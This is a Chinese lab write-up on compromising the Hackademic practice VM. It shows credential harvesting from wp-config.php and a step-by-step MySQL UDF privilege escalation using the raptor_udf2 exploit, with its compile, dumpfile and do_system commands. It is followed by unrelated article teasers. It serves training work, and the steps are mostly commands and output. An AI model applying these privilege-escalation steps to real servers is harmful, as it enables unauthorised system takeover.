靶机 hackademic-udf提权

news/2024/9/19 12:34:53/文章来源:https://www.cnblogs.com/ethereal258/p/18418237

sqlmap一把梭

burpsuit跑账号密码,可能跑不出来,登录有点问题

查不到有用信息,尝试内核提权

提权成功

拓展-mysql udf提权

看到别人的wp改造一下靶机能学到别的东西

https://blog.csdn.net/Bossfrank/article/details/131553175

先拿到root权限,在/usr/lib/mysql/目录下将plugin目录的权限改为777原因后讲

再切回去apache用户

https://blog.csdn.net/Bossfrank/article/details/131424479

https://blog.csdn.net/qq_44159028/article/details/121193134

udf先决条件

  • 拥有mysql用户与密码,可以远程登录mysql
  • mysql具有写入文件的权限,即secure_file_priv的值为空

找找配置文件

grep -R -i DB_USER /var/* 2>/dev/null

可以看到有一个wp-config.php

bash-4.0$ cat wp-config.php
cat wp-config.php
<?php
// ** MySQL settings ** //
define('DB_NAME', 'wordpress');     // The name of the database
define('DB_USER', 'root');     // Your MySQL username
define('DB_PASSWORD', 'lz5yedns'); // ...and password
define('DB_HOST', 'localhost');     // 99% chance you won't need to change this value// Change the prefix if you want to have multiple blogs in a single database.
$table_prefix  = 'wp_';   // example: 'wp_' or 'b2' or 'mylogin_'// Change this to localize WordPress.  A corresponding MO file for the
// chosen language must be installed to wp-includes/languages.
// For example, install de.mo to wp-includes/languages and set WPLANG to 'de'
// to enable German language support.
define ('WPLANG', '');/* Stop editing */define('ABSPATH', dirname(__FILE__).'/');
require_once(ABSPATH.'wp-settings.php');
?>

成功拿到账号密码

查看mysql是否有写入文件的权限

mysql> show global variables like '%secure%';
show global variables like '%secure%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv |       |
+------------------+-------+

secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。

  • secure_file_priv的值为null ,表示限制mysqld 不允许导入/导出
  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入/导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入/导出做限制

上传UDF动态链接库文件

查看mysql版本

mysql> select version();
select version();
+-----------+
| version() |
+-----------+
| 5.1.47    |
+-----------+
1 row in set (0.00 sec)

udf.dll文件放置路径

1、mysql<5.0,路径随意
3、5.0<=MYsql<5.1, 放置系统目录(C:\windows\system32)
2、mysql>5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,(lib\plugin目录默认不存在,需自行创建)

这里就理解到为什么之前要将plugin加777权限,因为需要将udf.dll文件写入到这个plugin文件中

拿到exp

searchsploit mysql udf 
searchsploit mysql udf -m 1518

上传后按照exp的usage一路下去

 * Usage:* $ id* uid=500(raptor) gid=500(raptor) groups=500(raptor)* $ gcc -g -c raptor_udf2.c* $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc* $ mysql -u root -p* Enter password:* [...]* mysql> use mysql;* mysql> create table foo(line blob);* mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));//这里要将路径改成自己上传编译后的文件路径* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';* mysql> create function do_system returns integer soname 'raptor_udf2.so';* mysql> select * from mysql.func;* +-----------+-----+----------------+----------+* | name      | ret | dl             | type     |* +-----------+-----+----------------+----------+* | do_system |   2 | raptor_udf2.so | function |* +-----------+-----+----------------+----------+* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');* mysql> \! sh* sh-2.05b$ cat /tmp/out* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

最后我们可以看到,可以成功提权到mysql用户组,如果这个组权限很高,那就能做更多事请了

bash-4.0$ id
id
uid=48(apache) gid=489(apache) groups=489(apachebash-4.0$ ./rootbash -p
./rootbash -p
rootbash-4.0$ id
id
uid=48(apache) gid=489(apache) euid=27(mysql) egid=480(mysql) groups=489(apache)

mysql提权各种姿势

https://www.sqlsec.com/2020/11/mysql.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/799269.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

安装zblog提示数据库连接失败,怎么解决

当安装 Z-Blog 时提示数据库连接失败,可以尝试以下步骤来解决这个问题:检查数据库连接信息:确认数据库服务器地址、数据库名称、用户名和密码是否正确无误。 检查数据库连接字符串中的端口号是否正确,以及是否需要使用端口号。确认数据库服务状态:确认数据库服务正在运行。…

zblog后台访问不了应用中心的解决办法

当您遇到 Z-Blog 后台无法访问应用中心的问题时,可以从以下几个方面着手解决:检查网络连接:确保服务器能够访问互联网,并且没有防火墙或安全设置阻止对外部站点的访问。检查服务器配置:确认服务器是否允许远程访问应用中心的服务器地址 app.blogcn.net。如果服务器上有任何…

zblog水印插件上传图片提示getimagesize

当您在使用 Z-Blog 的水印插件上传图片时遇到 getimagesize 的错误提示,这通常意味着 PHP 在尝试获取图片信息时出现了问题。getimagesize 函数用于获取图像尺寸和其他信息,如果它无法正常工作,可能是由于以下几个原因:文件类型不支持:getimagesize 不支持所有类型的图像文…

zblog后台的应用中心登录提示错误解决方法

Z-Blog 后台应用中心登录提示错误的情况时,可以尝试以下几种解决方法:检查应用中心插件版本:登录 Z-Blog 后台,进入“应用中心”页面,检查是否有应用中心插件的更新可用。 如果有更新,尝试升级应用中心插件到最新版本。检查网络连接:确保服务器能够访问互联网,并且没有…

Ros2 - Moveit2 - MoveItCpp

MoveItCpp 教程 介绍 MoveItCpp 是一个新的高级接口,一个统一的 C++ API,不需要使用 ROS 操作、服务和消息来访问核心 MoveIt 功能,并且是现有MoveGroup API的替代方案(不是完全替代) ,我们建议需要更多实时控制或行业应用的高级用户使用此接口。PickNik Robotics 已根据…

ZBLOG错误原因:数据库连接错误

当您在使用 Z-Blog 时遇到“数据库连接错误”,这可能是由多种原因引起的。根据过去的经验和提供的信息,以下是一些可能的原因及解决方案:权限问题:确保数据库用户拥有足够的权限来连接数据库以及执行必要的读写操作。 检查数据库连接配置文件中的用户名和密码是否正确。文件…

Z-blog上传文件时出现未知错误

当在使用 Z-Blog 上传文件时遇到未知错误,可以尝试以下几个方面来诊断和解决问题:检查文件格式:确保上传的文件格式是 Z-Blog 支持的。常见的支持格式包括 JPEG、PNG 和 GIF。如果你上传的是其他格式的文件,可能就会导致上传失败。检查文件大小:Z-Blog 对上传文件的大小有…

VMware vSphere 8.0 Update 3b 发布下载,新增功能概览

VMware vSphere 8.0 Update 3b 发布下载,新增功能概览VMware vSphere 8.0 Update 3b 发布下载,新增功能概览 vSphere 8.0U3 | ESXi 8.0U3 & vCenter Server 8.0U3 请访问原文链接:https://sysin.org/blog/vmware-vsphere-8-u3/,查看最新版。原创作品,转载请保留出处。…

闯关提交04

书生浦语大模型上海人工智能实验室推出的一系列开源AI大模型 卓越的推理能力和超长文本处理功能 包括轻量级、中量级和重量级三个类别,分别对应不同的应用场景和性能需求 支持高达一百万词元的文本输入 提供了全链路开源体系,包括数据、预训练、微调、部署和评测等环节Intern…

VMware vCenter Server 8.0U3b 发布下载,新增功能概览

VMware vCenter Server 8.0U3b 发布下载,新增功能概览VMware vCenter Server 8.0U3b 发布下载,新增功能概览 Server Management Software | vCenter 请访问原文链接:https://sysin.org/blog/vmware-vcenter-8-u3/,查看最新版。原创作品,转载请保留出处。 作者主页:sysin.…

【日记】我太爱工作了,工装都发霉了(987 字)

正文突然好想吃学校里的老麻抄手。晚上不知道为什么,忽然特别特别想吃。这附近好像从来没有那么麻辣好吃的抄手。最后还是去一家店里点了金汤的抄手。虽然店里有红汤,但感觉应该没有老麻抄手那种味道。正巧我也没有吃过酸辣口,就点了试一下。最后吃起来感觉还行。今天似乎实…

VMware ESXi 8.0U3b 发布下载,新增功能概览

VMware ESXi 8.0U3b 发布下载,新增功能概览VMware ESXi 8.0U3b 发布下载,新增功能概览 同步发布 Dell (戴尔)、HPE (慧与)、Lenovo (联想)、Inspur (浪潮)、Cisco (思科)、Hitachi (日立)、Fujitsu (富士通)、NEC (日电) 定制版 请访问原文链接:https://sysin.org/blog/vmwa…